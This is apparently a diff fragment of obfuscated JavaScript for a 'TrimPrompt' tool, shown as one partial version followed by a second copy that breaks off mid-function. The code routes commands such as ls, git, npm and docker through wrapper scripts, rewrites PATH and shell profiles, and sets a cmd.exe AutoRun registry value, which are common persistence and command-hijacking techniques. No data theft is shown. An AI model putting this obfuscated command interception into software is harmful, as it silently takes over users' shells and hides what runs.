_0x1b79cc=![],_0x2f14a6='';if(_0x4c9d60)try{const _0x38569f=getExecSync(),_0x886ba=_0x3a9718(0x208)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0xf7bfaf+';\x22\x20+\x20$env:PATH\x0a',_0x2c38e6=collectPowerShellProfiles();for(const _0x3b00ee of _0x2c38e6){ensureProfileContains(_0x3b00ee,_0xf7bfaf,_0x886ba);}try{const _0x27a6f3=getExecFileSync(),_0x3fd60f=_0x3a9718(0x1f8)+_0xf7bfaf+'\x22\x20set\x20\x22PATH='+_0xf7bfaf+_0x3a9718(0x20f),_0x3292b0='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x322396='';try{const _0x4386d1=_0x3a9718(0x217)+_0x3292b0+_0x3a9718(0x22f);_0x322396=_0x27a6f3(_0x3a9718(0x21e),['-NoProfile','-Command',_0x4386d1],{'encoding':_0x3a9718(0x214),'stdio':['pipe','pipe','ignore']})[_0x3a9718(0x237)]();}catch{}if(!_0x322396[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x512fae=_0x322396?_0x322396+_0x3a9718(0x1e9)+_0x3fd60f:_0x3fd60f,_0x3c5ba8=_0x3a9718(0x203)+_0x3292b0+_0x3a9718(0x1ee)+_0x3292b0+_0x3a9718(0x225)+_0x512fae+'\x27';_0x27a6f3(_0x3a9718(0x21e),[_0x3a9718(0x226),_0x3a9718(0x1dc),_0x3c5ba8],{'stdio':_0x3a9718(0x230)});}}catch{}try{const _0xccac90=_0xf7bfaf[_0x3a9718(0x20d)](/\\/g,'/')[_0x3a9718(0x20d)](/^([A-Za-z]):/,(_0x5225e7,_0x493465)=>'/'+_0x493465[_0x3a9718(0x234)]()),_0x41030f=_0x3a9718(0x208)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0xccac90+_0x3a9718(0x239),_0x449da1=getBashProfilesWindows();let _0x354d65=![];for(const _0x33f494 of _0x449da1){fs[_0x3a9718(0x23e)](_0x33f494)&&(ensureProfileContains(_0x33f494,_0xccac90,_0x41030f),_0x354d65=!![]);}!_0x354d65&&ensureProfileContains(_0x449da1[0x0],_0xccac90,_0x41030f);}catch{}const _0xfcf97=_0x3a9718(0x23a),_0x272b58=_0x38569f(_0x3a9718(0x1fc)+_0xfcf97+'\x22',{'encoding':_0x3a9718(0x214),'stdio':[_0x3a9718(0x1f9),'pipe',_0x3a9718(0x230)]})[_0x3a9718(0x237)]();if(!_0x272b58[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x27323c=_0xf7bfaf+';'+_0x272b58,_0x2eb934=_0x27323c[_0x3a9718(0x20d)](/'/g,'\x27\x27'),_0xdedaef=_0x3a9718(0x246)+_0x2eb934+_0x3a9718(0x1e5);_0x38569f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xdedaef+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3a9718(0x230)});}const _0x49d4e3=path[_0x3a9718(0x22a)](process['env'][_0x3a9718(0x22e)]||'',_0x3a9718(0x240),'trim.ps1');if(fs[_0x3a9718(0x23e)](_0x49d4e3))try{fs[_0x3a9718(0x1db)](_0x49d4e3);}catch{}_0x1b79cc=!![];}catch(_0x26bf2f){_0x2f14a6='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xf7bfaf;}else try{const _0x3895df=_0x3a9718(0x211)+_0xf7bfaf+_0x3a9718(0x239),_0x1023af=os[_0x3a9718(0x1e3)](),_0x10ff3c=[_0x3a9718(0x227),_0x3a9718(0x1f1),_0x3a9718(0x1e6),_0x3a9718(0x209)];let _0x1df1f7=![];for(const _0x58b0a0 of _0x10ff3c){const _0x56d8cc=path[_0x3a9718(0x22a)](_0x1023af,_0x58b0a0);fs['existsSync'](_0x56d8cc)&&(ensureProfileContains(_0x56d8cc,_0xf7bfaf,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x3895df),_0x1df1f7=!![]);}if(!_0x1df1f7){const _0xf75571=path[_0x3a9718(0x22a)](_0x1023af,_0x3a9718(0x227));ensureProfileContains(_0xf75571,_0xf7bfaf,_0x3a9718(0x208)+PROFILE_MARKER+'\x0a'+_0x3895df);}_0x1b79cc=!![];}catch(_0x555cd8){_0x2f14a6=_0x3a9718(0x1ea)+_0xf7bfaf+_0x3a9718(0x20e);}const _0x3ceb73='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x3a9718(0x232)]+_0x3a9718(0x1ed),_0x4cdd06=_0x1b79cc?_0x3ceb73+_0x3a9718(0x1ff):_0x3ceb73+_0x3a9718(0x21c)+_0x2f14a6;return{'success':!![],'pathDir':_0xf7bfaf,'message':_0x4cdd06};}catch(_0x29fcd7){return{'success':![],'pathDir':_0xf7bfaf,'message':_0x3a9718(0x21a)+_0x29fcd7['message']};}}function a0_0x436b(){const _0x5c656c=['yarn','powershell.exe','getOwnPropertyDescriptor','$PROFILE.CurrentUserAllHosts','3eSoieO','push','\x20@args\x0a','TrimPrompt\x20Shims\x20PATH','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','-NoProfile','.bashrc','3896445skUNEJ','Set-ItemProperty\x20-Path\x20\x27','join','grep','some','#!/bin/sh\x0aexec\x20trim\x20','APPDATA','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','ignore','139240fKaZCn','length','shims','toLowerCase','defineProperty','rmdirSync','trim','54qUEgbb',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','glab','docker','4070YmDYAY','existsSync','kubectl','npm','appendFileSync','cargo','read','create','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','includes','powershell','dirname','$PROFILE.CurrentUserCurrentHost','child_process','pnpm','unlinkSync','-Command','Remove-ItemProperty\x20-Path\x20\x27','split','.ps1','\x20%*\x0a','__esModule','win32','homedir','mkdirSync','\x27,\x20\x27User\x27)','.bash_profile','map','installShims','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','157990efRixz','Failed\x20to\x20uninstall\x20shims:\x20','\x20commands.\x0a\x0a','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x20-NoProfile\x20-Command\x20\x22','hasOwnProperty','.zshrc','ruff','84rzfMMD','writable','default','@echo\x20off\x0atrim\x20','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','if\x20exist\x20\x22','pipe','execSync','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','powershell\x20-NoProfile\x20-Command\x20\x22','filter','.trimprompt','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','path','platform','git','New-Item\x20-Path\x20\x27','npx','2272140WtvVxF','readFileSync','1720320ZfvXoK','\x0a#\x20','.profile','755','pytest','pwsh','replace',':$PATH\x22',';%PATH%\x22','writeFileSync','export\x20PATH=\x22','chmodSync','.cmd','utf8','message','4305816LMfMAJ','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','readdirSync','execFileSync','Failed\x20to\x20install\x20shims:\x20','&\x20trim\x20','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'];a0_0x436b=function(){return _0x5c656c;};return a0_0x436b();}function uninstallShims(){const _0x389710=a0_0xaeb862,_0x483ef2=path[_0x389710(0x22a)](os[_0x389710(0x1e3)](),'.trimprompt',_0x389710(0x233)),_0x317531=os[_0x389710(0x201)]()==='win32';try{if(_0x317531){const _0x1058d0=getExecSync();try{const _0x1daf46=getExecFileSync(),_0xc8dd3b=_0x389710(0x1f7),_0x4913c4=_0x389710(0x217)+_0xc8dd3b+_0x389710(0x22f),_0x19891c=_0x1daf46(_0x389710(0x21e),[_0x389710(0x226),_0x389710(0x1dc),_0x4913c4],{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),_0x389710(0x1f9),_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x19891c['includes'](_0x483ef2)){const _0x59bf25=_0x19891c[_0x389710(0x1de)](_0x389710(0x1e9))[_0x389710(0x1fd)](_0x26e3c6=>!_0x26e3c6[_0x389710(0x1d5)](_0x483ef2));if(_0x59bf25[_0x389710(0x232)]===0x0){const _0x3310a3=_0x389710(0x1dd)+_0xc8dd3b+_0x389710(0x245);_0x1daf46('powershell.exe',['-NoProfile',_0x389710(0x1dc),_0x3310a3],{'stdio':_0x389710(0x230)});}else{const _0x5715b8=_0x59bf25[_0x389710(0x22a)](_0x389710(0x1e9)),_0x3e8160=_0x389710(0x229)+_0xc8dd3b+_0x389710(0x225)+_0x5715b8+'\x27';_0x1daf46(_0x389710(0x21e),['-NoProfile',_0x389710(0x1dc),_0x3e8160],{'stdio':'ignore'});}}}catch{}try{const _0x53ae43=collectPowerShellProfiles();for(const _0x1e268b of _0x53ae43){removeProfileBlock(_0x1e268b,PROFILE_MARKER);}}catch{}try{for(const _0x192cbc of getBashProfilesWindows()){removeProfileBlock(_0x192cbc,PROFILE_MARKER);}}catch{}try{const _0x328b65=_0x389710(0x23a),_0x2cd767=_0x1058d0('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x328b65+'\x22',{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),'pipe',_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x2cd767[_0x389710(0x1d5)](_0x483ef2)){const _0x3a3298=_0x2cd767[_0x389710(0x1de)](';')[_0x389710(0x1fd)](_0x28e6df=>_0x28e6df[_0x389710(0x237)]()[_0x389710(0x234)]()!==_0x483ef2[_0x389710(0x234)]())['join'](';'),_0x350fe6=_0x3a3298[_0x389710(0x20d)](/'/g,'\x27\x27'),_0x1f7ed3=_0x389710(0x246)+_0x350fe6+_0x389710(0x1e5);_0x1058d0(_0x389710(0x1fc)+_0x1f7ed3+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x389710(0x230)});}}catch{}}else{const _0x1b0797=os[_0x389710(0x1e3)](),_0x243e6f=['.bashrc',_0x389710(0x1f1),_0x389710(0x1e6),_0x389710(0x209)];for(const _0x5352a6 of _0x243e6f){removeProfileBlock(path[_0x389710(0x22a)](_0x1b0797,_0x5352a6),PROFILE_MARKER);}}if(fs[_0x389710(0x23e)](_0x483ef2)){const _0x259f96=fs[_0x389710(0x218)](_0x483ef2);for(const _0x590299 of _0x259f96){fs[_0x389710(0x1db)](path[_0x389710(0x22a)](_0x483ef2,_0x590299));}fs[_0x389710(0x236)](_0x483ef2);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x364aee){return{'success':![],'message':_0x389710(0x1ec)+_0x364aee[_0x389710(0x215)]};}}
1
+ 'use strict';const a0_0xd17c11=a0_0x38a4;(function(_0x1595e1,_0x32a88b){const _0x218949=a0_0x38a4,_0x5326c2=_0x1595e1();while(!![]){try{const _0x54ebf3=-parseInt(_0x218949(0x201))/0x1*(-parseInt(_0x218949(0x202))/0x2)+-parseInt(_0x218949(0x1f0))/0x3+-parseInt(_0x218949(0x1ee))/0x4+-parseInt(_0x218949(0x219))/0x5*(parseInt(_0x218949(0x22c))/0x6)+-parseInt(_0x218949(0x21a))/0x7+parseInt(_0x218949(0x217))/0x8*(-parseInt(_0x218949(0x1d0))/0x9)+parseInt(_0x218949(0x1d3))/0xa*(parseInt(_0x218949(0x1d2))/0xb);if(_0x54ebf3===_0x32a88b)break;else _0x5326c2['push'](_0x5326c2['shift']());}catch(_0x554e93){_0x5326c2['push'](_0x5326c2['shift']());}}}(a0_0x2731,0xb48f5));var __createBinding=this&&this[a0_0xd17c11(0x1e6)]||(Object['create']?function(_0x122d6f,_0x6324a0,_0x41b612,_0x385a75){const _0x255d36=a0_0xd17c11;if(_0x385a75===undefined)_0x385a75=_0x41b612;var _0x41a834=Object[_0x255d36(0x220)](_0x6324a0,_0x41b612);(!_0x41a834||(_0x255d36(0x223)in _0x41a834?!_0x6324a0[_0x255d36(0x1f9)]:_0x41a834['writable']||_0x41a834[_0x255d36(0x1f2)]))&&(_0x41a834={'enumerable':!![],'get':function(){return _0x6324a0[_0x41b612];}}),Object[_0x255d36(0x225)](_0x122d6f,_0x385a75,_0x41a834);}:function(_0x468bec,_0x4c8dee,_0x3cfb9e,_0x307c65){if(_0x307c65===undefined)_0x307c65=_0x3cfb9e;_0x468bec[_0x307c65]=_0x4c8dee[_0x3cfb9e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0xd17c11(0x22b)]?function(_0x23998e,_0x704ade){const _0x2311b5=a0_0xd17c11;Object[_0x2311b5(0x225)](_0x23998e,'default',{'enumerable':!![],'value':_0x704ade});}:function(_0x42521a,_0x2d8fc7){const _0x2b95a5=a0_0xd17c11;_0x42521a[_0x2b95a5(0x20c)]=_0x2d8fc7;}),__importStar=this&&this['__importStar']||(function(){var _0x51e21d=function(_0x3ab1ca){return _0x51e21d=Object['getOwnPropertyNames']||function(_0x462e99){const _0x1106b4=a0_0x38a4;var _0x194de3=[];for(var _0x23b5f1 in _0x462e99)if(Object['prototype'][_0x1106b4(0x211)][_0x1106b4(0x209)](_0x462e99,_0x23b5f1))_0x194de3[_0x194de3[_0x1106b4(0x22e)]]=_0x23b5f1;return _0x194de3;},_0x51e21d(_0x3ab1ca);};return function(_0x39c762){const _0x535114=a0_0x38a4;if(_0x39c762&&_0x39c762[_0x535114(0x1f9)])return _0x39c762;var _0x5483c4={};if(_0x39c762!=null){for(var _0x29937d=_0x51e21d(_0x39c762),_0x5634af=0x0;_0x5634af<_0x29937d[_0x535114(0x22e)];_0x5634af++)if(_0x29937d[_0x5634af]!==_0x535114(0x20c))__createBinding(_0x5483c4,_0x39c762,_0x29937d[_0x5634af]);}return __setModuleDefault(_0x5483c4,_0x39c762),_0x5483c4;};}());Object['defineProperty'](exports,a0_0xd17c11(0x1f9),{'value':!![]}),exports[a0_0xd17c11(0x1ea)]=installShims,exports[a0_0xd17c11(0x1c6)]=uninstallShims;function a0_0x38a4(_0x24ee62,_0x4b36ca){const _0x2731eb=a0_0x2731();return a0_0x38a4=function(_0x38a454,_0x430ea1){_0x38a454=_0x38a454-0x1bf;let _0x18497f=_0x2731eb[_0x38a454];return _0x18497f;},a0_0x38a4(_0x24ee62,_0x4b36ca);}const fs=__importStar(require('fs')),path=__importStar(require(a0_0xd17c11(0x21e))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0xd17c11(0x1d9),a0_0xd17c11(0x210),a0_0xd17c11(0x1fb),a0_0xd17c11(0x1dc),'rg',a0_0xd17c11(0x1c1),a0_0xd17c11(0x200),'gh',a0_0xd17c11(0x1de),'cargo','npm','pnpm','npx',a0_0xd17c11(0x1ff),a0_0xd17c11(0x20d),'docker',a0_0xd17c11(0x20a),a0_0xd17c11(0x1e2),a0_0xd17c11(0x204),'go'],PROFILE_MARKER=a0_0xd17c11(0x1cf);function getExecSync(){const _0xe93730=a0_0xd17c11;return require(_0xe93730(0x229))[_0xe93730(0x20e)];}function getExecFileSync(){return require('child_process')['execFileSync'];}function ensureProfileContains(_0x370215,_0x586b9c,_0x3cf1ab){const _0x124971=a0_0xd17c11;try{const _0x1df097=path[_0x124971(0x230)](_0x370215);!fs[_0x124971(0x206)](_0x1df097)&&fs[_0x124971(0x1c5)](_0x1df097,{'recursive':!![]});if(fs['existsSync'](_0x370215)){const _0x45a36f=fs[_0x124971(0x22a)](_0x370215,'utf8');if(_0x45a36f[_0x124971(0x1d1)](_0x586b9c))return;fs[_0x124971(0x1ed)](_0x370215,_0x3cf1ab,_0x124971(0x1f4));}else fs[_0x124971(0x1d5)](_0x370215,_0x3cf1ab,_0x124971(0x1f4));}catch{}}function removeProfileBlock(_0x16795d,_0x17a027){const _0x20e77e=a0_0xd17c11;try{if(!fs[_0x20e77e(0x206)](_0x16795d))return;const _0x352c12=fs[_0x20e77e(0x22a)](_0x16795d,_0x20e77e(0x1f4));if(!_0x352c12[_0x20e77e(0x1d1)](_0x17a027))return;const _0x53079d=_0x352c12[_0x20e77e(0x21c)]('\x0a'),_0x326db4=[];let _0x482e9b=![];for(let _0x12795a=0x0;_0x12795a<_0x53079d[_0x20e77e(0x22e)];_0x12795a++){if(_0x53079d[_0x12795a]['includes'](_0x17a027)){_0x482e9b=!![];continue;}if(_0x482e9b){_0x482e9b=![];continue;}_0x326db4[_0x20e77e(0x1f3)](_0x53079d[_0x12795a]);}const _0x925fe=_0x326db4['join']('\x0a')[_0x20e77e(0x1e9)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x16795d,_0x925fe,_0x20e77e(0x1f4));}catch{}}function collectPowerShellProfiles(){const _0x1df211=a0_0xd17c11,_0xff21c2=getExecSync(),_0x292a0b=[],_0x7705a5=[[_0x1df211(0x216),_0x1df211(0x1bf)],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0xff21c2('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1df211(0x1da)}),_0x7705a5['push'](['pwsh','$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x573f39,_0x36d1d5]of _0x7705a5){try{const _0x1300d5=_0xff21c2(_0x573f39+_0x1df211(0x213)+_0x36d1d5+'\x22',{'encoding':'utf8'})[_0x1df211(0x1f8)]();_0x1300d5&&!_0x292a0b[_0x1df211(0x1dd)](_0x25ba30=>_0x25ba30['toLowerCase']()===_0x1300d5[_0x1df211(0x1c9)]())&&_0x292a0b['push'](_0x1300d5);}catch{}}return _0x292a0b;}function getBashProfilesWindows(){const _0x446c7e=a0_0xd17c11,_0x548498=os['homedir']();return[_0x446c7e(0x1e5),'.bash_profile'][_0x446c7e(0x1ec)](_0x1696f8=>path[_0x446c7e(0x22f)](_0x548498,_0x1696f8));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function a0_0x2731(){const _0x38806d=['getOwnPropertyDescriptor','rmdirSync','.profile','get',';%PATH%\x22','defineProperty','homedir','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','755','child_process','readFileSync','create','6nDSFAy','.cmd','length','join','dirname','$PROFILE.CurrentUserCurrentHost','message','ruff','export\x20PATH=\x22','powershell\x20-NoProfile\x20-Command\x20\x22','platform','mkdirSync','uninstallShims','unlinkSync','\x20%*\x0a','toLowerCase','\x0a#\x20','-Command','Set-ItemProperty\x20-Path\x20\x27','\x20@args\x0a','chmodSync','TrimPrompt\x20Shims\x20PATH','54gYlxZp','includes','2184457Yuqndj','210VqWYBk','env','writeFileSync','-NoProfile','New-Item\x20-Path\x20\x27','Failed\x20to\x20install\x20shims:\x20','tree','ignore','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','grep','some','glab','APPDATA','powershell.exe','readdirSync','pip','@echo\x20off\x0atrim\x20','pipe','.bashrc','__createBinding','shims','\x20\x22$@\x22\x0a','replace','installShims','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','map','appendFileSync','2853800LAvCUH','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','924060bvLgFO','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','configurable','push','utf8','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',':$PATH\x22','trim','__esModule','\x22\x20set\x20\x22PATH=','read','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','.zshrc','if\x20exist\x20\x22','yarn','git','34ZNKBfe','3334MEfYLM','#!/bin/sh\x0aexec\x20trim\x20','pip3','\x20commands.\x0a\x0a','existsSync','\x0a$env:PATH\x20=\x20\x22','\x0aexport\x20PATH=\x22','call','pytest','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','default','kubectl','execSync','filter','cat','hasOwnProperty','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x20-NoProfile\x20-Command\x20\x22','&\x20trim\x20','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','powershell','914192Jrdpmf','Remove-ItemProperty\x20-Path\x20\x27','1965615jISBaU','9710365UNpXCz',';\x22\x20+\x20$env:PATH\x0a','split','.trimprompt','path','\x20&\x20'];a0_0x2731=function(){return _0x38806d;};return a0_0x2731();}function installShims(){const _0x4c53fe=a0_0xd17c11,_0x277d52=path['join'](os[_0x4c53fe(0x226)](),'.trimprompt',_0x4c53fe(0x1e7));try{!fs[_0x4c53fe(0x206)](_0x277d52)&&fs['mkdirSync'](_0x277d52,{'recursive':!![]});const _0x586d66=os[_0x4c53fe(0x1c4)]()==='win32';for(const _0x47654b of SHIMMED_COMMANDS){if(_0x586d66){const _0xa269de=path[_0x4c53fe(0x22f)](_0x277d52,_0x47654b+_0x4c53fe(0x22d));fs['writeFileSync'](_0xa269de,_0x4c53fe(0x1e3)+_0x47654b+_0x4c53fe(0x1c8),'utf8');const _0x128050=path['join'](_0x277d52,_0x47654b+'.ps1');fs['writeFileSync'](_0x128050,_0x4c53fe(0x214)+_0x47654b+_0x4c53fe(0x1cd),_0x4c53fe(0x1f4));const _0x4fa397=path[_0x4c53fe(0x22f)](_0x277d52,_0x47654b);fs[_0x4c53fe(0x1d5)](_0x4fa397,_0x4c53fe(0x203)+_0x47654b+_0x4c53fe(0x1e8),'utf8');}else{const _0x2073de=path['join'](_0x277d52,_0x47654b);fs[_0x4c53fe(0x1d5)](_0x2073de,_0x4c53fe(0x203)+_0x47654b+_0x4c53fe(0x1e8),_0x4c53fe(0x1f4)),fs[_0x4c53fe(0x1ce)](_0x2073de,_0x4c53fe(0x228));}}let _0x458a26=![],_0x3f58dd='';if(_0x586d66)try{const _0x312302=getExecSync(),_0x4555b6=_0x4c53fe(0x1ca)+PROFILE_MARKER+_0x4c53fe(0x207)+_0x277d52+_0x4c53fe(0x21b),_0x210792=collectPowerShellProfiles();for(const _0x3a9f63 of _0x210792){ensureProfileContains(_0x3a9f63,_0x277d52,_0x4555b6);}try{const _0x2de902=getExecFileSync(),_0x52b1ae=_0x4c53fe(0x1fe)+_0x277d52+_0x4c53fe(0x1fa)+_0x277d52+_0x4c53fe(0x224),_0xafabac=_0x4c53fe(0x1ef);let _0x153ded='';try{const _0x354a0a=_0x4c53fe(0x1db)+_0xafabac+_0x4c53fe(0x1f6);_0x153ded=_0x2de902(_0x4c53fe(0x1e0),['-NoProfile',_0x4c53fe(0x1cb),_0x354a0a],{'encoding':_0x4c53fe(0x1f4),'stdio':[_0x4c53fe(0x1e4),'pipe',_0x4c53fe(0x1da)]})[_0x4c53fe(0x1f8)]();}catch{}if(!_0x153ded[_0x4c53fe(0x1d1)](_0x277d52)){const _0x1e7cbb=_0x153ded?_0x153ded+_0x4c53fe(0x21f)+_0x52b1ae:_0x52b1ae,_0x4d0410=_0x4c53fe(0x1d7)+_0xafabac+_0x4c53fe(0x1f1)+_0xafabac+_0x4c53fe(0x1f5)+_0x1e7cbb+'\x27';_0x2de902(_0x4c53fe(0x1e0),['-NoProfile','-Command',_0x4d0410],{'stdio':_0x4c53fe(0x1da)});}}catch{}try{const _0x6397aa=_0x277d52[_0x4c53fe(0x1e9)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x49efef,_0x2a897a)=>'/'+_0x2a897a[_0x4c53fe(0x1c9)]()),_0x4bf33e=_0x4c53fe(0x1ca)+PROFILE_MARKER+_0x4c53fe(0x208)+_0x6397aa+':$PATH\x22\x0a',_0xc252c0=getBashProfilesWindows();let _0x42ca23=![];for(const _0x4532a5 of _0xc252c0){fs[_0x4c53fe(0x206)](_0x4532a5)&&(ensureProfileContains(_0x4532a5,_0x6397aa,_0x4bf33e),_0x42ca23=!![]);}!_0x42ca23&&ensureProfileContains(_0xc252c0[0x0],_0x6397aa,_0x4bf33e);}catch{}const _0xe62e61=_0x4c53fe(0x20b),_0x23ec02=_0x312302(_0x4c53fe(0x1c3)+_0xe62e61+'\x22',{'encoding':_0x4c53fe(0x1f4),'stdio':[_0x4c53fe(0x1e4),_0x4c53fe(0x1e4),'ignore']})[_0x4c53fe(0x1f8)]();if(!_0x23ec02['includes'](_0x277d52)){const _0xb3967a=_0x277d52+';'+_0x23ec02,_0x1bbd03=_0xb3967a[_0x4c53fe(0x1e9)](/'/g,'\x27\x27'),_0x30da59=_0x4c53fe(0x227)+_0x1bbd03+'\x27,\x20\x27User\x27)';_0x312302('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x30da59+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x4c53fe(0x1da)});}const _0x1d0aa3=path[_0x4c53fe(0x22f)](process[_0x4c53fe(0x1d4)][_0x4c53fe(0x1df)]||'','npm','trim.ps1');if(fs['existsSync'](_0x1d0aa3))try{fs['unlinkSync'](_0x1d0aa3);}catch{}_0x458a26=!![];}catch(_0x54d392){_0x3f58dd=_0x4c53fe(0x1fc)+_0x277d52;}else try{const _0x696535=_0x4c53fe(0x1c2)+_0x277d52+':$PATH\x22\x0a',_0x40e31f=os[_0x4c53fe(0x226)](),_0x516b4d=[_0x4c53fe(0x1e5),_0x4c53fe(0x1fd),'.bash_profile',_0x4c53fe(0x222)];let _0x6f921b=![];for(const _0x5539fb of _0x516b4d){const _0x129bcb=path[_0x4c53fe(0x22f)](_0x40e31f,_0x5539fb);fs[_0x4c53fe(0x206)](_0x129bcb)&&(ensureProfileContains(_0x129bcb,_0x277d52,_0x4c53fe(0x1ca)+PROFILE_MARKER+'\x0a'+_0x696535),_0x6f921b=!![]);}if(!_0x6f921b){const _0x454990=path['join'](_0x40e31f,'.bashrc');ensureProfileContains(_0x454990,_0x277d52,_0x4c53fe(0x1ca)+PROFILE_MARKER+'\x0a'+_0x696535);}_0x458a26=!![];}catch(_0x574367){_0x3f58dd='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x277d52+_0x4c53fe(0x1f7);}const _0x37e8ad=_0x4c53fe(0x1eb)+SHIMMED_COMMANDS['length']+_0x4c53fe(0x205),_0x49dd52=_0x458a26?_0x37e8ad+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x37e8ad+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x3f58dd;return{'success':!![],'pathDir':_0x277d52,'message':_0x49dd52};}catch(_0x411bcc){return{'success':![],'pathDir':_0x277d52,'message':_0x4c53fe(0x1d8)+_0x411bcc[_0x4c53fe(0x1c0)]};}}function uninstallShims(){const _0x39d188=a0_0xd17c11,_0x155cc6=path['join'](os[_0x39d188(0x226)](),_0x39d188(0x21d),_0x39d188(0x1e7)),_0x1759b9=os[_0x39d188(0x1c4)]()==='win32';try{if(_0x1759b9){const _0x2e1112=getExecSync();try{const _0x3e9b65=getExecFileSync(),_0x498091='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x1b8615=_0x39d188(0x1db)+_0x498091+_0x39d188(0x1f6),_0x3c78c6=_0x3e9b65('powershell.exe',[_0x39d188(0x1d6),_0x39d188(0x1cb),_0x1b8615],{'encoding':_0x39d188(0x1f4),'stdio':[_0x39d188(0x1e4),_0x39d188(0x1e4),_0x39d188(0x1da)]})['trim']();if(_0x3c78c6[_0x39d188(0x1d1)](_0x155cc6)){const 